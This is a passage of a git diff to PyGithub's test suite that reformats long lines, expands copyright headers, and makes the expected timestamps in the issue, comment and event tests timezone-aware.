testCreateIssueWithEscapedPercentInTitle(self): - issue = self.repo.create_issue( - "Issue with escaped percent %25 in title created by PyGithub" - ) + issue = self.repo.create_issue("Issue with escaped percent %25 in title created by PyGithub") self.assertEqual(issue.number, 97) def testCreateIssueWithEscapedPercentInBody(self): - issue = self.repo.create_issue( - "Issue created by PyGithub", "Escaped percent %25 in body" - ) + issue = self.repo.create_issue("Issue created by PyGithub", "Escaped percent %25 in body") self.assertEqual(issue.number, 96) diff --git a/tests/Issue937.py b/tests/Issue937.py index a08e0c9dd2..622378c289 100644 --- a/tests/Issue937.py +++ b/tests/Issue937.py @@ -1,6 +1,17 @@ ############################ Copyrights and license ############################ # # -# Copyright 2018 Vinay Hegde # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Vinay Hegde # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -19,6 +30,7 @@ # along with PyGithub. If not, see . # # # ################################################################################ + from . import Framework diff --git a/tests/Issue945.py b/tests/Issue945.py index 59f812b656..b739cbf543 100644 --- a/tests/Issue945.py +++ b/tests/Issue945.py @@ -1,6 +1,18 @@ ############################ Copyrights and license ############################ # # -# Copyright 2018 Kelvin Wong (https://github.com/netsgnut) # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 netsgnut <284779+netsgnut@users.noreply.github.com> # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -32,22 +44,12 @@ def setUp(self): def testReservedPaginatedListAttributePreservation(self): r1 = self.list.reversed - self.assertEqual( - self.list._PaginatedList__contentClass, r1._PaginatedList__contentClass - ) - self.assertEqual( - self.list._PaginatedList__requester, r1._PaginatedList__requester - ) - self.assertEqual( - self.list._PaginatedList__firstUrl, r1._PaginatedList__firstUrl - ) - self.assertEqual( - self.list._PaginatedList__firstParams, r1._PaginatedList__firstParams - ) + self.assertEqual(self.list._PaginatedList__contentClass, r1._PaginatedList__contentClass) + self.assertEqual(self.list._PaginatedList__requester, r1._PaginatedList__requester) + self.assertEqual(self.list._PaginatedList__firstUrl, r1._PaginatedList__firstUrl) + self.assertEqual(self.list._PaginatedList__firstParams, r1._PaginatedList__firstParams) self.assertEqual(self.list._PaginatedList__headers, r1._PaginatedList__headers) - self.assertEqual( - self.list._PaginatedList__list_item, r1._PaginatedList__list_item - ) + self.assertEqual(self.list._PaginatedList__list_item, r1._PaginatedList__list_item) self.assertTrue(self.list_with_headers._PaginatedList__headers is not None) r2 = self.list_with_headers.reversed @@ -59,16 +61,12 @@ def testReservedPaginatedListAttributePreservation(self): self.list_with_headers._PaginatedList__requester, r2._PaginatedList__requester, ) - self.assertEqual( - self.list_with_headers._PaginatedList__firstUrl, r2._PaginatedList__firstUrl - ) + self.assertEqual(self.list_with_headers._PaginatedList__firstUrl, r2._PaginatedList__firstUrl) self.assertEqual( self.list_with_headers._PaginatedList__firstParams, r2._PaginatedList__firstParams, ) - self.assertEqual( - self.list_with_headers._PaginatedList__headers, r2._PaginatedList__headers - ) + self.assertEqual(self.list_with_headers._PaginatedList__headers, r2._PaginatedList__headers) self.assertEqual( self.list_with_headers._PaginatedList__list_item, r2._PaginatedList__list_item, diff --git a/tests/IssueComment.py b/tests/IssueComment.py index f517a712ed..0c9c86d150 100644 --- a/tests/IssueComment.py +++ b/tests/IssueComment.py @@ -8,7 +8,14 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Malik Shahzad Muzaffar # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,7 +35,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -36,18 +43,18 @@ class IssueComment(Framework.TestCase): def setUp(self): super().setUp() - self.comment = ( - self.g.get_user().get_repo("PyGithub").get_issue(28).get_comment(5808311) - ) + self.comment = self.g.get_user().get_repo("PyGithub").get_issue(28).get_comment(5808311) def testAttributes(self): self.assertEqual(self.comment.body, "Comment created by PyGithub") self.assertEqual( - self.comment.created_at, datetime.datetime(2012, 5, 20, 11, 46, 42) + self.comment.created_at, + datetime(2012, 5, 20, 11, 46, 42, tzinfo=timezone.utc), ) self.assertEqual(self.comment.id, 5808311) self.assertEqual( - self.comment.updated_at, datetime.datetime(2012, 5, 20, 11, 46, 42) + self.comment.updated_at, + datetime(2012, 5, 20, 11, 46, 42, tzinfo=timezone.utc), ) self.assertEqual( self.comment.url, @@ -62,12 +69,28 @@ def testAttributes(self): repr(self.comment), 'IssueComment(user=NamedUser(login="jacquev6"), id=5808311)', ) + self.assertEqual( + self.comment.reactions, + { + "+1": 1, + "-1": 0, + "confused": 0, + "eyes": 0, + "heart": 0, + "hooray": 1, + "laugh": 0, + "rocket": 0, + "total_count": 2, + "url": "https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311/reactions", + }, + ) def testEdit(self): self.comment.edit("Comment edited by PyGithub") self.assertEqual(self.comment.body, "Comment edited by PyGithub") self.assertEqual( - self.comment.updated_at, datetime.datetime(2012, 5, 20, 11, 53, 59) + self.comment.updated_at, + datetime(2012, 5, 20, 11, 53, 59, tzinfo=timezone.utc), ) def testDelete(self): diff --git a/tests/IssueEvent.py b/tests/IssueEvent.py index 837d7bb00c..65e7cf2a71 100644 --- a/tests/IssueEvent.py +++ b/tests/IssueEvent.py @@ -7,7 +7,15 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # +# Copyright 2018 Aaron L. Levine # +# Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,7 +35,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -76,7 +84,8 @@ def testEvent_subscribed_Attributes(self): self.assertEqual(self.event_subscribed.actor.login, "jacquev6") self.assertEqual(self.event_subscribed.commit_id, None) self.assertEqual( - self.event_subscribed.created_at, datetime.datetime(2012, 5, 27, 5, 40, 15) + self.event_subscribed.created_at, + datetime(2012, 5, 27, 5, 40, 15, tzinfo=timezone.utc), ) self.assertEqual(self.event_subscribed.event, "subscribed") self.assertEqual(self.event_subscribed.id, 16347479) @@ -85,9 +94,7 @@ def testEvent_subscribed_Attributes(self): self.event_subscribed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347479", ) - self.assertEqual( - self.event_subscribed.node_id, "MDE1OlN1YnNjcmliZWRFdmVudDE2MzQ3NDc5" - ) + self.assertEqual(self.event_subscribed.node_id, "MDE1OlN1YnNjcmliZWRFdmVudDE2MzQ3NDc5") self.assertEqual(self.event_subscribed.commit_url, None) self.assertEqual(self.event_subscribed.label, None) self.assertEqual(self.event_subscribed.assignee, None) @@ -104,7 +111,8 @@ def testEvent_assigned_Attributes(self): self.assertEqual(self.event_assigned.actor.login, "jacquev6") self.assertEqual(self.event_assigned.commit_id, None) self.assertEqual( - self.event_assigned.created_at, datetime.datetime(2012, 5, 27, 5, 40, 15) + self.event_assigned.created_at, + datetime(2012, 5, 27, 5, 40, 15, tzinfo=timezone.utc), ) self.assertEqual(self.event_assigned.event, "assigned") self.assertEqual(self.event_assigned.id, 16347480) @@ -113,9 +121,7 @@ def testEvent_assigned_Attributes(self): self.event_assigned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347480", ) - self.assertEqual( - self.event_assigned.node_id, "MDEzOkFzc2lnbmVkRXZlbnQxNjM0NzQ4MA==" - ) + self.assertEqual(self.event_assigned.node_id, "MDEzOkFzc2lnbmVkRXZlbnQxNjM0NzQ4MA==") self.assertEqual(self.event_assigned.commit_url, None) self.assertEqual(self.event_assigned.label, None) self.assertEqual(self.event_assigned.assignee.login, "jacquev6") @@ -130,11 +136,10 @@ def testEvent_assigned_Attributes(self): def testEvent_referenced_Attributes(self): self.assertEqual(self.event_referenced.actor.login, "jacquev6") + self.assertEqual(self.event_referenced.commit_id, "ed866fc43833802ab553e5ff8581c81bb00dd433") self.assertEqual( - self.event_referenced.commit_id, "ed866fc43833802ab553e5ff8581c81bb00dd433" - ) - self.assertEqual( - self.event_referenced.created_at, datetime.datetime(2012, 5, 27, 7, 29, 25) + self.event_referenced.created_at, + datetime(2012, 5, 27, 7, 29, 25, tzinfo=timezone.utc), ) self.assertEqual(self.event_referenced.event, "referenced") self.assertEqual(self.event_referenced.id, 16348656) @@ -143,9 +148,7 @@ def testEvent_referenced_Attributes(self): self.event_referenced.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16348656", ) - self.assertEqual( - self.event_referenced.node_id, "MDE1OlJlZmVyZW5jZWRFdmVudDE2MzQ4NjU2" - ) + self.assertEqual(self.event_referenced.node_id, "MDE1OlJlZmVyZW5jZWRFdmVudDE2MzQ4NjU2") self.assertEqual( self.event_referenced.commit_url, "https://api.github.com/repos/PyGithub/PyGithub/commits/ed866fc43833802ab553e5ff8581c81bb00dd433", @@ -165,7 +168,8 @@ def testEvent_closed_Attributes(self): self.assertEqual(self.event_closed.actor.login, "jacquev6") self.assertEqual(self.event_closed.commit_id, None) self.assertEqual( - self.event_closed.created_at, datetime.datetime(2012, 5, 27, 11, 4, 25) + self.event_closed.created_at, + datetime(2012, 5, 27, 11, 4, 25, tzinfo=timezone.utc), ) self.assertEqual(self.event_closed.event, "closed") self.assertEqual(self.event_closed.id, 16351220) @@ -191,7 +195,8 @@ def testEvent_labeled_Attributes(self): self.assertEqual(self.event_labeled.actor.login, "jacquev6") self.assertEqual(self.event_labeled.commit_id, None) self.assertEqual( - self.event_labeled.created_at, datetime.datetime(2014, 3, 2, 18, 55, 10) + self.event_labeled.created_at, + datetime(2014, 3, 2, 18, 55, 10, tzinfo=timezone.utc), ) self.assertEqual(self.event_labeled.event, "labeled") self.assertEqual(self.event_labeled.id, 98136337) @@ -217,7 +222,8 @@ def testEvent_mentioned_Attributes(self): self.assertEqual(self.event_mentioned.actor.login, "jzelinskie") self.assertEqual(self.event_mentioned.commit_id, None) self.assertEqual( - self.event_mentioned.created_at, datetime.datetime(2017, 3, 21, 17, 30, 14) + self.event_mentioned.created_at, + datetime(2017, 3, 21, 17, 30, 14, tzinfo=timezone.utc), ) self.assertEqual(self.event_mentioned.event, "mentioned") self.assertEqual(self.event_mentioned.id, 1009034767) @@ -226,9 +232,7 @@ def testEvent_mentioned_Attributes(self): self.event_mentioned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1009034767", ) - self.assertEqual( - self.event_mentioned.node_id, "MDE0Ok1lbnRpb25lZEV2ZW50MTAwOTAzNDc2Nw==" - ) + self.assertEqual(self.event_mentioned.node_id, "MDE0Ok1lbnRpb25lZEV2ZW50MTAwOTAzNDc2Nw==") self.assertEqual(self.event_mentioned.commit_url, None) self.assertEqual(self.event_mentioned.label, None) self.assertEqual(self.event_mentioned.assignee, None) @@ -243,11 +247,10 @@ def testEvent_mentioned_Attributes(self): def testEvent_merged_Attributes(self): self.assertEqual(self.event_merged.actor.login, "jzelinskie") + self.assertEqual(self.event_merged.commit_id, "2525515b094d7425f7018eb5b66171e21c5fbc10") self.assertEqual( - self.event_merged.commit_id, "2525515b094d7425f7018eb5b66171e21c5fbc10" - ) - self.assertEqual( - self.event_merged.created_at, datetime.datetime(2017, 3, 25, 16, 52, 49) + self.event_merged.created_at, + datetime(2017, 3, 25, 16, 52, 49, tzinfo=timezone.utc), ) self.assertEqual(self.event_merged.event, "merged") self.assertEqual(self.event_merged.id, 1015402964) @@ -256,9 +259,7 @@ def testEvent_merged_Attributes(self): self.event_merged.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1015402964", ) - self.assertEqual( - self.event_merged.node_id, "MDExOk1lcmdlZEV2ZW50MTAxNTQwMjk2NA==" - ) + self.assertEqual(self.event_merged.node_id, "MDExOk1lcmdlZEV2ZW50MTAxNTQwMjk2NA==") self.assertEqual( self.event_merged.commit_url, "https://api.github.com/repos/PyGithub/PyGithub/commits/2525515b094d7425f7018eb5b66171e21c5fbc10", @@ -279,7 +280,7 @@ def testEvent_review_requested_Attributes(self): self.assertEqual(self.event_review_requested.commit_id, None) self.assertEqual( self.event_review_requested.created_at, - datetime.datetime(2017, 3, 22, 19, 6, 44), + datetime(2017, 3, 22, 19, 6, 44, tzinfo=timezone.utc), ) self.assertEqual(self.event_review_requested.event, "review_requested") self.assertEqual(self.event_review_requested.id, 1011101309) @@ -296,12 +297,8 @@ def testEvent_review_requested_Attributes(self): self.assertEqual(self.event_review_requested.label, None) self.assertEqual(self.event_review_requested.assignee, None) self.assertEqual(self.event_review_requested.assigner, None) - self.assertEqual( - self.event_review_requested.review_requester.login, "jzelinskie" - ) - self.assertEqual( - self.event_review_requested.requested_reviewer.login, "jzelinskie" - ) + self.assertEqual(self.event_review_requested.review_requester.login, "jzelinskie") + self.assertEqual(self.event_review_requested.requested_reviewer.login, "jzelinskie") self.assertEqual(self.event_review_requested.milestone, None) self.assertEqual(self.event_review_requested.rename, None) self.assertEqual(self.event_review_requested.dismissed_review, None) @@ -312,7 +309,8 @@ def testEvent_reopened_Attributes(self): self.assertEqual(self.event_reopened.actor.login, "sfdye") self.assertEqual(self.event_reopened.commit_id, None) self.assertEqual( - self.event_reopened.created_at, datetime.datetime(2018, 8, 10, 13, 10, 9) + self.event_reopened.created_at, + datetime(2018, 8, 10, 13, 10, 9, tzinfo=timezone.utc), ) self.assertEqual(self.event_reopened.event, "reopened") self.assertEqual(self.event_reopened.id, 1782463023) @@ -321,9 +319,7 @@ def testEvent_reopened_Attributes(self): self.event_reopened.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463023", ) - self.assertEqual( - self.event_reopened.node_id, "MDEzOlJlb3BlbmVkRXZlbnQxNzgyNDYzMDIz" - ) + self.assertEqual(self.event_reopened.node_id, "MDEzOlJlb3BlbmVkRXZlbnQxNzgyNDYzMDIz") self.assertEqual(self.event_reopened.commit_url, None) self.assertEqual(self.event_reopened.label, None) self.assertEqual(self.event_reopened.assignee, None) @@ -340,7 +336,8 @@ def testEvent_unassigned_Attributes(self): self.assertEqual(self.event_unassigned.actor.login, "sfdye") self.assertEqual(self.event_unassigned.commit_id, None) self.assertEqual( - self.event_unassigned.created_at, datetime.datetime(2018, 8, 10, 13, 10, 21) + self.event_unassigned.created_at, + datetime(2018, 8, 10, 13, 10, 21, tzinfo=timezone.utc), ) self.assertEqual(self.event_unassigned.event, "unassigned") self.assertEqual(self.event_unassigned.id, 1782463379) @@ -349,9 +346,7 @@ def testEvent_unassigned_Attributes(self): self.event_unassigned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463379", ) - self.assertEqual( - self.event_unassigned.node_id, "MDE1OlVuYXNzaWduZWRFdmVudDE3ODI0NjMzNzk=" - ) + self.assertEqual(self.event_unassigned.node_id, "MDE1OlVuYXNzaWduZWRFdmVudDE3ODI0NjMzNzk=") self.assertEqual(self.event_unassigned.commit_url, None) self.assertEqual(self.event_unassigned.label, None) self.assertEqual(self.event_unassigned.actor.login, "sfdye") @@ -368,7 +363,8 @@ def testEvent_unlabeled_Attributes(self): self.assertEqual(self.event_unlabeled.actor.login, "sfdye") self.assertEqual(self.event_unlabeled.commit_id, None) self.assertEqual( - self.event_unlabeled.created_at, datetime.datetime(2018, 8, 10, 13, 10, 38) + self.event_unlabeled.created_at, + datetime(2018, 8, 10, 13, 10, 38, tzinfo=timezone.utc), ) self.assertEqual(self.event_unlabeled.event, "unlabeled") self.assertEqual(self.event_unlabeled.id, 1782463917) @@ -377,9 +373,7 @@ def testEvent_unlabeled_Attributes(self): self.event_unlabeled.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463917", ) - self.assertEqual( - self.event_unlabeled.node_id, "MDE0OlVubGFiZWxlZEV2ZW50MTc4MjQ2MzkxNw==" - ) + self.assertEqual(self.event_unlabeled.node_id, "MDE0OlVubGFiZWxlZEV2ZW50MTc4MjQ2MzkxNw==") self.assertEqual(self.event_unlabeled.commit_url, None) self.assertEqual(self.event_unlabeled.label.name, "improvement") self.assertEqual(self.event_unlabeled.assignee, None) @@ -396,7 +390,8 @@ def testEvent_renamed_Attributes(self): self.assertEqual(self.event_renamed.actor.login, "sfdye") self.assertEqual(self.event_renamed.commit_id, None) self.assertEqual( - self.event_renamed.created_at, datetime.datetime(2018, 8, 10, 13, 15, 18) + self.event_renamed.created_at, + datetime(2018, 8, 10, 13, 15, 18, tzinfo=timezone.utc), ) self.assertEqual(self.event_renamed.event, "renamed") self.assertEqual(self.event_renamed.id, 1782472556) @@ -405,9 +400,7 @@ def testEvent_renamed_Attributes(self): self.event_renamed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782472556", ) - self.assertEqual( - self.event_renamed.node_id, "MDE3OlJlbmFtZWRUaXRsZUV2ZW50MTc4MjQ3MjU1Ng==" - ) + self.assertEqual(self.event_renamed.node_id, "MDE3OlJlbmFtZWRUaXRsZUV2ZW50MTc4MjQ3MjU1Ng==") self.assertEqual(self.event_renamed.commit_url, None) self.assertEqual(self.event_renamed.label, None) self.assertEqual(self.event_renamed.assignee, None) @@ -431,7 +424,7 @@ def testEvent_base_ref_changed_Attributes(self): self.assertEqual(self.event_base_ref_changed.commit_id, None) self.assertEqual( self.event_base_ref_changed.created_at, - datetime.datetime(2018, 8, 10, 16, 38, 22), + datetime(2018, 8, 10, 16, 38, 22, tzinfo=timezone.utc), ) self.assertEqual(self.event_base_ref_changed.event, "base_ref_changed") self.assertEqual(self.event_base_ref_changed.id, 1782915693) @@ -461,7 +454,7 @@ def testEvent_head_ref_deleted_Attributes(self): self.assertEqual(self.event_head_ref_deleted.commit_id, None) self.assertEqual( self.event_head_ref_deleted.created_at, - datetime.datetime(2018, 8, 10, 16, 39, 20), + datetime(2018, 8, 10, 16, 39, 20, tzinfo=timezone.utc), ) self.assertEqual(self.event_head_ref_deleted.event, "head_ref_deleted") self.assertEqual(self.event_head_ref_deleted.id, 1782917185) @@ -491,7 +484,7 @@ def testEvent_head_ref_restored_Attributes(self): self.assertEqual(self.event_head_ref_restored.commit_id, None) self.assertEqual( self.event_head_ref_restored.created_at, - datetime.datetime(2018, 8, 10, 16, 39, 23), + datetime(2018, 8, 10, 16, 39, 23, tzinfo=timezone.utc), ) self.assertEqual(self.event_head_ref_restored.event, "head_ref_restored") self.assertEqual(self.event_head_ref_restored.id, 1782917299) @@ -514,15 +507,14 @@ def testEvent_head_ref_restored_Attributes(self): self.assertEqual(self.event_head_ref_deleted.rename, None) self.assertEqual(self.event_head_ref_restored.dismissed_review, None) self.assertEqual(self.event_head_ref_deleted.lock_reason, None) - self.assertEqual( - repr(self.event_head_ref_restored), "IssueEvent(id=1782917299)" - ) + self.assertEqual(repr(self.event_head_ref_restored), "IssueEvent(id=1782917299)") def testEvent_milestoned_Attributes(self): self.assertEqual(self.event_milestoned.actor.login, "sfdye") self.assertEqual(self.event_milestoned.commit_id, None) self.assertEqual( - self.event_milestoned.created_at, datetime.datetime(2018, 8, 11, 0, 46, 19) + self.event_milestoned.created_at, + datetime(2018, 8, 11, 0, 46, 19, tzinfo=timezone.utc), ) self.assertEqual(self.event_milestoned.event, "milestoned") self.assertEqual(self.event_milestoned.id, 1783596418) @@ -531,9 +523,7 @@ def testEvent_milestoned_Attributes(self): self.event_milestoned.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596418", ) - self.assertEqual( - self.event_milestoned.node_id, "MDE1Ok1pbGVzdG9uZWRFdmVudDE3ODM1OTY0MTg=" - ) + self.assertEqual(self.event_milestoned.node_id, "MDE1Ok1pbGVzdG9uZWRFdmVudDE3ODM1OTY0MTg=") self.assertEqual(self.event_milestoned.commit_url, None) self.assertEqual(self.event_milestoned.label, None) self.assertEqual(self.event_milestoned.assignee, None) @@ -551,7 +541,7 @@ def testEvent_demilestoned_Attributes(self): self.assertEqual(self.event_demilestoned.commit_id, None) self.assertEqual( self.event_demilestoned.created_at, - datetime.datetime(2018, 8, 11, 0, 46, 22), + datetime(2018, 8, 11, 0, 46, 22, tzinfo=timezone.utc), ) self.assertEqual(self.event_demilestoned.event, "demilestoned") self.assertEqual(self.event_demilestoned.id, 1783596452) @@ -580,7 +570,8 @@ def testEvent_locked_Attributes(self): self.assertEqual(self.event_locked.actor.login, "PyGithub") self.assertEqual(self.event_locked.commit_id, None) self.assertEqual( - self.event_locked.created_at, datetime.datetime(2018, 8, 11, 0, 46, 56) + self.event_locked.created_at, + datetime(2018, 8, 11, 0, 46, 56, tzinfo=timezone.utc), ) self.assertEqual(self.event_locked.event, "locked") self.assertEqual(self.event_locked.id, 1783596743) @@ -589,9 +580,7 @@ def testEvent_locked_Attributes(self): self.event_locked.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596743", ) - self.assertEqual( - self.event_locked.node_id, "MDExOkxvY2tlZEV2ZW50MTc4MzU5Njc0Mw==" - ) + self.assertEqual(self.event_locked.node_id, "MDExOkxvY2tlZEV2ZW50MTc4MzU5Njc0Mw==") self.assertEqual(self.event_locked.commit_url, None) self.assertEqual(self.event_locked.label, None) self.assertEqual(self.event_locked.assignee, None) @@ -608,7 +597,8 @@ def testEvent_unlocked_Attributes(self): self.assertEqual(self.event_unlocked.actor.login, "PyGithub") self.assertEqual(self.event_unlocked.commit_id, None) self.assertEqual( - self.event_unlocked.created_at, datetime.datetime(2018, 8, 11, 0, 47, 7) + self.event_unlocked.created_at, + datetime(2018, 8, 11, 0, 47, 7, tzinfo=timezone.utc), ) self.assertEqual(self.event_unlocked.event, "unlocked") self.assertEqual(self.event_unlocked.id, 1783596818) @@ -617,9 +607,7 @@ def testEvent_unlocked_Attributes(self): self.event_unlocked.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596818", ) - self.assertEqual( - self.event_unlocked.node_id, "MDEzOlVubG9ja2VkRXZlbnQxNzgzNTk2ODE4" - ) + self.assertEqual(self.event_unlocked.node_id, "MDEzOlVubG9ja2VkRXZlbnQxNzgzNTk2ODE4") self.assertEqual(self.event_unlocked.commit_url, None) self.assertEqual(self.event_unlocked.label, None) self.assertEqual(self.event_unlocked.assignee, None) @@ -637,7 +625,7 @@ def testEvent_review_dismissed_Attributes(self): self.assertEqual(self.event_review_dismissed.commit_id, None) self.assertEqual( self.event_review_dismissed.created_at, - datetime.datetime(2018, 8, 11, 1, 7, 10), + datetime(2018, 8, 11, 1, 7, 10, tzinfo=timezone.utc), ) self.assertEqual(self.event_review_dismissed.event, "review_dismissed") self.assertEqual(self.event_review_dismissed.id, 1783605084) @@ -674,11 +662,9 @@ def testEvent_review_request_removed_Attributes(self): self.assertEqual(self.event_review_request_removed.commit_id, None) self.assertEqual( self.event_review_request_removed.created_at, - datetime.datetime(2018, 8, 11, 12, 32, 59), - ) - self.assertEqual( - self.event_review_request_removed.event, "review_request_removed" + datetime(2018, 8, 11, 12, 32, 59, tzinfo=timezone.utc), ) + self.assertEqual(self.event_review_request_removed.event, "review_request_removed") self.assertEqual(self.event_review_request_removed.id, 1783779835) self.assertEqual(self.event_review_request_removed.issue.number, 857) self.assertEqual( @@ -693,26 +679,20 @@ def testEvent_review_request_removed_Attributes(self): self.assertEqual(self.event_review_request_removed.label, None) self.assertEqual(self.event_review_request_removed.assignee, None) self.assertEqual(self.event_review_request_removed.assigner, None) - self.assertEqual( - self.event_review_request_removed.review_requester.login, "sfdye" - ) - self.assertEqual( - self.event_review_request_removed.requested_reviewer.login, "jasonwhite" - ) + self.assertEqual(self.event_review_request_removed.review_requester.login, "sfdye") + self.assertEqual(self.event_review_request_removed.requested_reviewer.login, "jasonwhite") self.assertEqual(self.event_review_request_removed.milestone, None) self.assertEqual(self.event_review_request_removed.rename, None) self.assertEqual(self.event_review_request_removed.dismissed_review, None) self.assertEqual(self.event_review_request_removed.lock_reason, None) - self.assertEqual( - repr(self.event_review_request_removed), "IssueEvent(id=1783779835)" - ) + self.assertEqual(repr(self.event_review_request_removed), "IssueEvent(id=1783779835)") def testEvent_marked_as_duplicate_Attributes(self): self.assertEqual(self.event_marked_as_duplicate.actor.login, "sfdye") self.assertEqual(self.event_marked_as_duplicate.commit_id, None) self.assertEqual( self.event_marked_as_duplicate.created_at, - datetime.datetime(2018, 8, 11, 12, 32, 35), + datetime(2018, 8, 11, 12, 32, 35, tzinfo=timezone.utc), ) self.assertEqual(self.event_marked_as_duplicate.event, "marked_as_duplicate") self.assertEqual(self.event_marked_as_duplicate.id, 1783779725) @@ -735,20 +715,16 @@ def testEvent_marked_as_duplicate_Attributes(self): self.assertEqual(self.event_marked_as_duplicate.rename, None) self.assertEqual(self.event_marked_as_duplicate.dismissed_review, None) self.assertEqual(self.event_marked_as_duplicate.lock_reason, None) - self.assertEqual( - repr(self.event_marked_as_duplicate), "IssueEvent(id=1783779725)" - ) + self.assertEqual(repr(self.event_marked_as_duplicate), "IssueEvent(id=1783779725)") def testEvent_unmarked_as_duplicate_Attributes(self): self.assertEqual(self.event_unmarked_as_duplicate.actor.login, "sfdye") self.assertEqual(self.event_unmarked_as_duplicate.commit_id, None) self.assertEqual( self.event_unmarked_as_duplicate.created_at, - datetime.datetime(2018, 8, 15, 2, 57, 46), - ) - self.assertEqual( - self.event_unmarked_as_duplicate.event, "unmarked_as_duplicate" + datetime(2018, 8, 15, 2, 57, 46, tzinfo=timezone.utc), ) + self.assertEqual(self.event_unmarked_as_duplicate.event, "unmarked_as_duplicate") self.assertEqual(self.event_unmarked_as_duplicate.id, 1789228962) self.assertEqual(self.event_unmarked_as_duplicate.issue.number, 857) self.assertEqual( @@ -769,16 +745,14 @@ def testEvent_unmarked_as_duplicate_Attributes(self): self.assertEqual(self.event_unmarked_as_duplicate.rename, None) self.assertEqual(self.event_unmarked_as_duplicate.dismissed_review, None) self.assertEqual(self.event_unmarked_as_duplicate.lock_reason, None) - self.assertEqual( - repr(self.event_unmarked_as_duplicate), "IssueEvent(id=1789228962)" - ) + self.assertEqual(repr(self.event_unmarked_as_duplicate), "IssueEvent(id=1789228962)") def testEvent_added_to_project_Attributes(self): self.assertEqual(self.event_added_to_project.actor.login, "sfdye") self.assertEqual(self.event_added_to_project.commit_id, None) self.assertEqual( self.event_added_to_project.created_at, - datetime.datetime(2018, 8, 16, 8, 13, 24), + datetime(2018, 8, 16, 8, 13, 24, tzinfo=timezone.utc), ) self.assertEqual(self.event_added_to_project.event, "added_to_project") self.assertEqual(self.event_added_to_project.id, 1791766828) @@ -808,11 +782,9 @@ def testEvent_moved_columns_in_project_Attributes(self): self.assertEqual(self.event_moved_columns_in_project.commit_id, None) self.assertEqual( self.event_moved_columns_in_project.created_at, - datetime.datetime(2018, 8, 16, 8, 13, 55), - ) - self.assertEqual( - self.event_moved_columns_in_project.event, "moved_columns_in_project" + datetime(2018, 8, 16, 8, 13, 55, tzinfo=timezone.utc), ) + self.assertEqual(self.event_moved_columns_in_project.event, "moved_columns_in_project") self.assertEqual(self.event_moved_columns_in_project.id, 1791767766) self.assertEqual(self.event_moved_columns_in_project.issue.number, 857) self.assertEqual( @@ -833,16 +805,14 @@ def testEvent_moved_columns_in_project_Attributes(self): self.assertEqual(self.event_moved_columns_in_project.rename, None) self.assertEqual(self.event_moved_columns_in_project.dismissed_review, None) self.assertEqual(self.event_moved_columns_in_project.lock_reason, None) - self.assertEqual( - repr(self.event_moved_columns_in_project), "IssueEvent(id=1791767766)" - ) + self.assertEqual(repr(self.event_moved_columns_in_project), "IssueEvent(id=1791767766)") def testEvent_removed_from_project_Attributes(self): self.assertEqual(self.event_removed_from_project.actor.login, "sfdye") self.assertEqual(self.event_removed_from_project.commit_id, None) self.assertEqual( self.event_removed_from_project.created_at, - datetime.datetime(2018, 8, 16, 8, 14, 8), + datetime(2018, 8, 16, 8, 14, 8, tzinfo=timezone.utc), ) self.assertEqual(self.event_removed_from_project.event, "removed_from_project") self.assertEqual(self.event_removed_from_project.id, 1791768212) @@ -865,20 +835,16 @@ def testEvent_removed_from_project_Attributes(self): self.assertEqual(self.event_removed_from_project.rename, None) self.assertEqual(self.event_removed_from_project.dismissed_review, None) self.assertEqual(self.event_removed_from_project.lock_reason, None) - self.assertEqual( - repr(self.event_removed_from_project), "IssueEvent(id=1791768212)" - ) + self.assertEqual(repr(self.event_removed_from_project), 